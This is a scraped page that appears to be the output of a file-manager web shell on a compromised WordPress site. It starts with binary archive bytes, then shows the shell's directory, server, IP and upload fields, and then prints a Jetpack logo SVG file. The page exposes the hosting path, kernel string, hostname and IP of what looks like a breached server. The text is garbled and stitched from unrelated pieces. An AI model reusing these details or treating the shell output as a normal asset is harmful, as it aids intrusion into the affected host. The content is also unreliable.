PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home/trave494/footcrew.com/ads/wp-content/plugins/jetpack/images/
Server: Linux ngx353.inmotionhosting.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
IP: 209.182.202.254
Choose File :

Url:
Dir : /home/trave494/footcrew.com/ads/wp-content/plugins/jetpack/images/jetpack-logo.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 18.0.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 viewBox="0 0 183 32" enable-background="new 0 0 183 32" xml:space="preserve">
<path display="none" opacity="0.32" d="M54-26.1c0-2.2-1.8-3.9-3.9-3.9h-6l5.5,4.9v6.1c0,1.1-0.2,1.9-0.6,2.4
	c-0.5,0.6-1.2,0.9-2.1,0.9c-1.1,0-1.9-0.3-2.9-1.1l0,0c-0.2-0.2-0.4-0.4-0.7-0.6l-2.1,3.5c0.1,0.1,0.2,0.2,0.3,0.3
	c0,0,0.4,0.3,0.4,0.3c1.5,1.1,3.3,1.6,5,1.6c2.2,0,4.1-0.6,5.3-1.9c1.1-1.1,1.6-2.7,1.6-5v-2.6l0,0V-26.1z"/>
<g>
	<g>
		<path fill="#FFFFFF" d="M54,10.9v4.8v2.6c0,2.2-0.5,4.3-1.5,5.4c-1.3,1.4-3.3,1.9-5.5,1.9c-3.4,0-5.9-2.6-6-2.7l2-4
			c0.2,0.2,0.7,1.1,2,1.7c1.2,0.6,2.2,0.8,3,0.3c0.8-0.5,1-2,1-3v-6.1L44,7h6C52.2,7,54,8.7,54,10.9z M81,10.9h5V25h5V10.9h5V7H81
			V10.9z M115,8.9c1.1,1.1,2,2.8,2,4.6c0,2.1-1,3.8-2.2,4.9c-1.2,1.1-3,1.6-5.1,1.6h-2.6v5H102V7h7.8C112.1,7,113.8,7.7,115,8.9z
			 M112.4,13.4c0-0.9-0.6-1.5-1-1.9c-0.6-0.5-1.4-0.6-2.1-0.6h-2.3V16h2.3c0.7,0,1.4-0.1,2-0.5C111.8,15.1,112.4,14.4,112.4,13.4z
			 M135.8,8.9c1.4,1.4,2.1,3.5,2.1,5.4V25h-5v-5h-6v5h-5V14.3c0-1.9,0.7-4,2.1-5.4c1.3-1.3,3.4-2.4,5.9-2.4
			C132.5,6.5,134.6,7.7,135.8,8.9z M132.5,12c-0.7-0.7-1.6-1-2.5-1c-0.9,0-1.9,0.3-2.5,1c-0.5,0.6-0.5,1.5-0.5,2.6V16h6v-1.4
			C132.9,13.5,133,12.6,132.5,12z M61.1,25H75v-3.9h-9v-3.2h7V14h-7v-3.1h9V7H61.1V25z M157.6,20c-0.1,0-0.2,0.1-0.3,0.1
			c0,0,0,0,0,0c-1,0.5-2.1,0.8-3.4,0.8c-1.5,0-2.9-0.5-3.8-1.5c-1-0.9-1.5-2.2-1.5-3.8c0-1.3,0.5-2.5,1.2-3.4
			c0.9-1.1,2.3-1.8,4.1-1.8c1,0,1.8,0.2,2.7,0.5c0,0,0.1,0,0.2,0.1c0.1,0,0.2,0.1,0.3,0.1c0,0,0.1,0,0.1,0.1c0.1,0,0.1,0.1,0.2,0.1
			c0.2,0.1,0.4,0.2,0.6,0.3l1.7-3.6c-0.3-0.2-0.7-0.4-1.1-0.6c-1.3-0.6-2.8-1-4.9-1c-2.8,0-5.5,1.2-7.3,3.1
			c-1.5,1.6-2.4,3.7-2.4,6.1c0,2.9,1.1,5.2,2.8,6.8c1.7,1.6,4.1,2.5,6.9,2.5c2.3,0,4-0.5,5.4-1.3c0,0,0.1,0,0.1,0c0,0,0,0,0,0
			c0.2-0.1,0.5-0.3,0.7-0.4l-1.8-3.6C157.9,19.8,157.7,19.9,157.6,20z M182,7h-5.8l-5.2,5.7V7h-3v0h-2v18h2h2.4h0.6v-6.5l0.5-0.5
			l5.3,7h5.2l-7.5-10.1L182,7z M32,16c0,8.8-7.2,16-16,16S0,24.8,0,16C0,7.2,7.2,0,16,0S32,7.2,32,16z M15,4.7L8.7,15.5
			c-0.7,1.1,0,2.6,1.2,2.9l5,1.3V4.7z M22,13.5l-5-1.3v15l6.3-10.8C23.9,15.3,23.3,13.9,22,13.5z"/>
	</g>
</g>
</svg>